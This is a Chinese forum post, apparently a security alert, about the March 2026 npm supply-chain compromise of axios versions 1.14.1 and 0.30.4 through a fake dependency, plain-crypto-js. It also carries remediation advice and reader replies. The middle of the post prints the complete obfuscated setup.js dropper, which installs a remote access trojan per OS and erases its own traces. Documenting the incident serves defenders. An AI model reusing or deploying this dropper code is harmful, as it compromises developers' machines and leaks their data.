【安全预警】2026-03-31 知名 JavaScript 请求库 Axios 遭遇 NPM 供应链投毒攻击

2026-04-11 13:421阅读0评论SEO资讯
  • 内容介绍
  • 文章标签
  • 相关推荐
问题描述:

更新

目前恶意包 plain-crypto-js@4.2.1 已被 npm 官方替换为空置状态
并且 axios 受影响版本已从 npm 注册表中删除

注意检查在恶意包存活期间(北京时间 2026-03-31 约上午 8 点到 11:30)是否进行过安装或 CI 构建操作

相关讨论

github.com/axios/axios

axios@1.14.1 and axios@0.30.4 are compromised

已打开 03:00AM - 31 Mar 26 UTC ashishkurmi

more details: https://www.stepsecurity.io/blog/axios-compromised-on-npm-maliciou…s-versions-drop-remote-access-trojan Most likely, a maintainer's GitHub and npm accounts are compromised as these issues are getting deleted. I have also reported this as a vulnerability, so that a CVE can be generated.


以下为帖子原始内容

报告来源

stepsecurity.io

axios Compromised on npm - Malicious Versions Drop Remote Access Trojan -...

Hijacked maintainer account used to publish poisoned axios releases including 1.14.1 and 0.30.4. The attacker injected a hidden dependency that drops a cross platform RAT. We are actively investigating and will update this post with a full technical...

受影响版本

axios@1.14.1axios@0.30.4

axios@1.14.1 的 npm 页面

事件描述

这两个版本均使用 axios 一位主要维护者的 npm 账号泄露的登录信息发布,以绕过项目正常的 GitHub Actions CI/CD 流程。攻击者将该维护者的 npm 账号邮箱更改为匿名 ProtonMail 地址,并通过 npm CLI 手动发布了这两个恶意包。

这两个恶意版本的 axios 自身不包含恶意代码,而是注入了一个伪造的依赖项 plain-crypto-js@4.2.1,该包此前从未在 axios 源代码中被导入。该包基于 crypto-js 伪造而来,其唯一目的是运行一个 postinstall 脚本,该脚本会部署一个跨平台的远程访问木马。

投放器会连接到一个运行中的 C&C 服务器,分别向 macOS、Windows 和 Linux 分发第二阶段的有效载荷,然后删除自身,并将自身的 package.json 文件替换为干净的文件,这样事后检查 node_modules 时就不会发现任何问题。

安全建议

立即确认 package.json 或 lock 文件中 axios 的版本。若为 1.14.1 或 0.30.4,请手动降级至 1.14.0 或 0.30.3 并暂时锁定版本

在生产环境或 CI/CD 构建流程中,建议使用 npm install --ignore-scripts 命令,从根源上禁止第三方包执行 postinstall 等钩子脚本

恶意脚本样本

package.json - plain-crypto-js@4.2.1

setup.js - plain-crypto-js@4.2.1

const _trans_1=function(x,r){try{const E=r.split("").map(Number);return x.split("").map(((x,r)=>{const S=x.charCodeAt(0),a=E[7*r*r%10];return String.fromCharCode(S^a^333)})).join("")}catch{}},_trans_2=function(x,r){try{let E=x.split("").reverse().join("").replaceAll("_","="),S=Buffer.from(E,"base64").toString("utf8");return _trans_1(S,r)}catch{}},stq=["_kLx+SMqE7KxlS8vE3LxSScqEHKxjScpE7Kx","__gvELKx","__gvEvKx","iWsuF3bx9WctFDbxgSsoE7KxjWspEvKxhSsrE/LxsSsvELaxiW8tF3Lx+ScuEXKx","","__wvF7bxkSMpErLx","jSMpErLx4SMrEnKx","_oaxtWcrF3axHWMqEnLxhSMrEvIxqWcoF3bxtWcoF/axsSsoF3axvWMqFXIxZSMjE3JxSScmE3JxvW8rFraxhSMqEnKxtW8qFraxvW8rFbIxESMhEHIxSS8nE7IxZS8rF/axtWMqF/axFScmEzIxdSclE7JxdS8rFjaxtWMqEHKxkS8qEfaxtWsvE7LxrScvETLxvScrF3LxvSMoF3axjS8rEnKxpSMpEXKxtWcvEDaxtW8rFjaxUS8nEzIxDSMhEjIxSSsnE3JxoW8rF3axrWcrF/axoWchEnJxMSsmELJxeScnE/axvWsqFPbxtW8rFjaxGS8gETIxBSskEjJxOSsnE/axoWcrF/axvWMvFnLxpSMuEnKxiSMuE3LxiWsqE/LxiSMpFDKx9S8oETax+SMqErKxsSspEnKxsScvE/axoWcrFnKxgWcrFnJxZSsgE3JxtWskEDaxtWsvEDaxtWspE/Lx4SsrEraxuSsoF3axoSctE/KxjWcqEDKxpS8rF3axjSMuE/JxkWcoEHKxoSsoE7JxnS8rELKxtWsqF3axtW8hFPaxvWcoEHKxoScpEnJxjWcuE3LxjS8vE7KxeSsmE/axiWcuE7KxoSMoE/KxCSMqEnLxsS8rE/LxOScrFfbxtWcoEHKxoScpEnJxnS8rELKxqWcuEjKxeScrF3axqWcrFfYx","_sKxiWcrFjaxFScmEzIxdSskEbIxMSsjELIxGS8rF3axhSMqEnKxqW8qFvaxtWcpErKxiScoELKxjScpFLaxtW8rFLIxZSMjE3JxSScgEvIxOSsgEHIxoWcrFnLx9SMpE/LxpSsvE7Kx","__wrFLIxZSMjE3JxSScgEvIxOSsgEHIxqW8qE/LxgWcrFDKx4S8rF3ax5SsuETKx/SsrE7LxtWspEHKxoScpEnLxtWsoEnKxtWcrFraxtW8hFTLx4ScuE3axpS8oEjKxqWcrF3axtWsqF3axtWcrFfYxvWspEHKx4S8oEXax7SMqEnKxiWcrFTbxrWcrF/axWS8qF3axvWcrFvaxqWsvE3axrWsqF/axtW8rF3axrWsqFnKxtW8qFraxvW8rFHJxtWsrEfaxtWcpE7LxwSsoFPKxkS8rELaxqW8qFvaxtWMqF3axrWcrFnKxtWMrF3axvWcrFrbx6WsuF3axpSsoEfKxlSsrE3axsW8qF3axvWcrFvaxqWsvE3axrWsqF/axtWsvEDaxtWMqF3axrWcrFjax9WcuE7Kx4ScqEXKx/ScvELaxtS8vELKxjWMoE3LxkS8oF7LxoScrEzKxmSsrEzKx9SsqFnKxgWcrFjaxtW8qF3axsScrFzaxtWcqE3axsWcrF/axtWsoEDaxqWcoE/Lx4ScqE/axtWcuE3LxkSMuE7Kx+ScrFbKxhSMqEXKx+ScrFXKxpScrF3axqWcrF3axtWcrF3axqWcrF3axtWMgFTLx/ScuE3axtWsqF3axtWcrFraxtW8hFDLxvWcqETKxiSMoEPax+SsrEzKxjWMqEHKx6ScvEzKxjW8pELKxuSsoF7LxoSsoE7KxsSsjEXax0S8vEzKx/S8rEPKxBSsoF/axqWcoF/axGS8gETIxGSskE/JxOScmE/axtWcoF/axvWcsE3axiScuEraxwScqE3axhWsvEraxhWMrEbLxqWcuEjKx+ScrF3axqWcrFfYx","__wqF3ax8W8qFTbx/WcrFHKxmSMuEPKxiW8uEjKxuSsoF3axzWsqF/axFScmEzIxdSclEHIxMSsjEXIxBS8rF3ax5ScvEPKx/SsrE7LxrSsvELKxtWcvEjLxiSsoEPKx","","_saxtW8uFvaxzW8vFraxhScoEjLxjSsoFzLxoScqELaxqW8sF3axGS8gETIxGSskE/JxOScmE3ax0ScvEPaxpSspELax9SMoE7LxiWcrF7bxjSsoELKx5SMtE3LxqWcvEjLxlSsoEPKxqW8qFvaxtWcgEPIxEScgELJxfSciE7JxtWsvEfaxtW8vFnLxuSMuE7KxiS8vE3LxlWsqE/LxiS8oFDKx6S8oEPax+S8rErKxsSspE7KxsSsuE3axpSMoFrax0ScvEPaxpScoEXax9SMoEnLxlWcrFLKxgWcrFHKx4SMuE7Kx","jSsoE7LxgS8oFjKxqSMrEbKxpSMrE3Lx","_kKxnS8oFjKxqSMrEbKxpSMrE3Lx","_gKxySMqEPax","_wbx5ScvEPax","_4LxoS8uEPax"],ord="OrDeR_7077",_entry=function(x){try{let r=4027,E=(r.toString().charCodeAt(2),atob("TE9DQUw^".replaceAll("^","="))+atob("X1BBVEg^".replaceAll("^","="))),S=atob("UFM_".replaceAll("_","="))+atob("X1BBVEg_".replaceAll("_","=")),a=atob("U0NSXw--".replaceAll("-","="))+atob("TElOSw))".replaceAll(")","=")),c=atob("UFNfQg--".replaceAll("-","="))+atob("SU5BUlk*".replaceAll("*","=")),s=atob("d2hlcmUgcG93ZXJzaGVsbA((".replaceAll("(","=")),t=require(_trans_2(stq[2],ord)),W=require(_trans_2(stq[1],ord)),{execSync:F}=require(_trans_2(stq[0],ord)),o=W.platform(),e=W.tmpdir(),q=_trans_2(stq[3],ord)+x,n=(_trans_2(stq[4],ord),"");W.type(),W.release(),W.arch();for(;;){if(o===_trans_2(stq[6],ord)){let r=e+"/"+x,S=_trans_2(stq[9],ord);S=S.replaceAll(a,q),S=S.replaceAll(E,r),t.writeFileSync(r,S),n=_trans_2(stq[10],ord),n=n.replaceAll(E,r)}else if(o===_trans_2(stq[5],ord)){let r=F(s).toString().trim(),W=process.env.PROGRAMDATA+"\\wt"+_trans_2(stq[15],ord);t.existsSync(W)||t.copyFileSync(r,W);let o=e+"\\"+x+_trans_2(stq[17],ord),K=e+"\\"+x+_trans_2(stq[16],ord),l=_trans_2(stq[7],ord);l=l.replaceAll(a,q),l=l.replaceAll(S,K),l=l.replaceAll(c,W),t.writeFileSync(o,l),n=_trans_2(stq[8],ord),n=n.replaceAll(E,o)}else n=_trans_2(stq[12],ord),n=n.replaceAll(a,q);break}F(n);const K=__filename;t.unlink(K,(x=>{})),t.unlink(_trans_2(stq[13],ord),(x=>{})),t.rename(_trans_2(stq[14],ord),_trans_2(stq[13],ord),(x=>{}))}catch{}};_entry("6202033"); 网友解答:


--【壹】--:

下载量显示为0 是npm阻断了吗
image947×349 12.5 KB


--【贰】--:

还好我一直用node的fetch


--【叁】--:

幸亏是不用这俩版本就没事


--【肆】--:

坏了,我们就用的这个


--【伍】--:

不是疑似

image834×158 8.99 KB


--【陆】--:

坏了坏了,害怕


--【柒】--:

1.12路过
已经开始比谁的毒性强了吗


--【捌】--:

这到底是怎么了


--【玖】--:

感觉现在vibecoding确实很大程度上也促进了这方面的攻击啊


--【拾】--:

?以后前后端要变成养蛊场了,谁的毒比较厉害谁拿数据


--【拾壹】--:

统计数据慢,肯定有人用了


--【拾贰】--:

好险

image790×200 9.68 KB


--【拾叁】--:

最近怎么这么多投毒的


--【拾肆】--:

还好,查了下没中招


--【拾伍】--:

坏了,我也在用这个


--【拾陆】--:

还好没用这俩版本


--【拾柒】--:

看了看我的项目都还在用1.13


--【拾捌】--:

省流自查
image1936×192 51.4 KB


--【拾玖】--:

这个会不会 apifox 的攻击还在发力(开玩笑)
各位佬友注意检查 8 点到 11点半的 CI 是否构建了(该包存活时间)